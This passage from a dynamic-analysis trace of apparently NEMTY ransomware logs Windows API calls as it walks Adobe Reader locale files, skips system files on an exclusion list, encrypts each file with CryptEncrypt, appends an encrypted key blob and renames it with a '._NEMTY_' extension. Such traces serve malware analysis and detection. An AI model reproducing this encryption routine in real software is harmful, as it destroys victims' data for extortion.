| out: lpMultiByteStr="RdLang32.HUN", lpUsedDefaultChar=0x0) returned 12 [0178.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.116] Sleep (dwMilliseconds=0x5) [0178.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd05870, dwHighDateTime=0x1d561e8)) [0178.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd05870, dwHighDateTime=0x1d561e8)) [0178.119] GetLastError () returned 0x0 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.119] GetLastError () returned 0x0 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.119] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.119] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.119] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.119] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="yQgPPWfNHbknxnTVf90rdLisw8Bjtw39Ex63itKLz3Lan2rZgq1dZVujcyc2+CX7\r\niAek3JkvB848HgGFZEh6qKu9n0AvbNN7r44mmZiqyqqKVDjUx3uSE9Avp6dPIggG\r\n/wZvnaIEJ/BUxC6tY3D8rj4YgbNYoqSeJaAS/eJD1VJWN8nEQQH9qbN1xGX+wKp8\r\nzfOO1/3D7D3bqPR8yFEoxTj+fuGHzmq683NX/gFqDZSUaqzatsH8q1s18xfJnmOt\r\nrVTsxL5dY41RDbmsz6EfPK6q+FVwOigKyOZgHoHICC8JG+SQ+EP77cKKXSpO575T\r\nxDEDfsE5fb+jbZZKzvHnNQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.119] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.120] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=1382912) returned 1 [0178.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0178.120] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.120] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0178.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.129] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0178.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=1382912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x151a00 [0178.130] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.131] CloseHandle (hObject=0x2e8) returned 1 [0178.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.132] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\RdLang32.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\rdlang32.hun._nemty_kgobjgd_")) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.132] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.132] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="ReadOutLoud.HUN", cAlternateFileName="READOU~1.HUN")) returned 1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2=".") returned 1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="..") returned 1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="...") returned 1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="windows") returned -1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.132] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="rsa") returned -1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="NTDETECT.COM") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="ntldr") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="MSDOS.SYS") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="IO.SYS") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="boot.ini") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="boot.ini") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="ntuser.dat") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="desktop.ini") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="CONFIG.SYS") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="RECYCLER") returned -1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="bootmgr") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="programdata") returned 1 [0178.133] lstrcmpiW (lpString1="ReadOutLoud.HUN", lpString2="appdata") returned 1 [0178.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HUN", lpUsedDefaultChar=0x0) returned 15 [0178.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x653e890, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HUN", lpUsedDefaultChar=0x0) returned 15 [0178.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x653e8e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HUN", lpUsedDefaultChar=0x0) returned 15 [0178.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0178.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ReadOutLoud.HUN", cchWideChar=15, lpMultiByteStr=0x653e918, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ReadOutLoud.HUN", lpUsedDefaultChar=0x0) returned 15 [0178.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.134] Sleep (dwMilliseconds=0x5) [0178.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd2b9d0, dwHighDateTime=0x1d561e8)) [0178.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dd2b9d0, dwHighDateTime=0x1d561e8)) [0178.134] GetLastError () returned 0x0 [0178.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.134] GetLastError () returned 0x0 [0178.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.134] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.134] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.134] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.134] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.135] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.135] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WBLDpEFPPEhTC7BYDoGyqP0WOxskCWsWKoBkMzn0MbPM7jOi31PLBmSYsgmUt85f\r\nQCEkvym+0fl0qgfV+CtX0DYQZfV56d4tOfFl4h/P97Yz4vFz0LzHx5pDepoVFVve\r\nNnIePCYansNFBvnVvhxaRJaK6xqhcR9qtzEY4NM3K9TrAIGiHvR18A9wtIOsZTtC\r\nufGNUUeJyPSBFyImKuwFhtXpqwUXZ2OtCJDlZOD7Zy9uNEF2d/hpPO+UbLXaKgy5\r\nRRkoyAkdTxpgP7JNFZbu2rdWm8bzwrzE21tQ2VDSRPzFtDOIyo91qsgFKPPNxryU\r\ntMpGvfyk7r7N1oDKB/aDuw==\r\n", pcchString=0x653e5dc) returned 1 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.135] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.135] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.135] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0178.135] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0178.135] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.135] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0178.137] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.137] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0178.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.138] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0178.138] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.138] CloseHandle (hObject=0x2e8) returned 1 [0178.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.138] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\ReadOutLoud.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\readoutloud.hun._nemty_kgobjgd_")) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.139] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db017e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.HUN", cAlternateFileName="")) returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2=".") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="..") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="...") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="windows") returned -1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="rsa") returned -1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="NTDETECT.COM") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="ntldr") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="MSDOS.SYS") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="IO.SYS") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="boot.ini") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="boot.ini") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="ntuser.dat") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="desktop.ini") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="CONFIG.SYS") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="RECYCLER") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="bootmgr") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="programdata") returned 1 [0178.139] lstrcmpiW (lpString1="reflow.HUN", lpString2="appdata") returned 1 [0178.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.139] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.HUN", lpUsedDefaultChar=0x0) returned 10 [0178.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.140] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 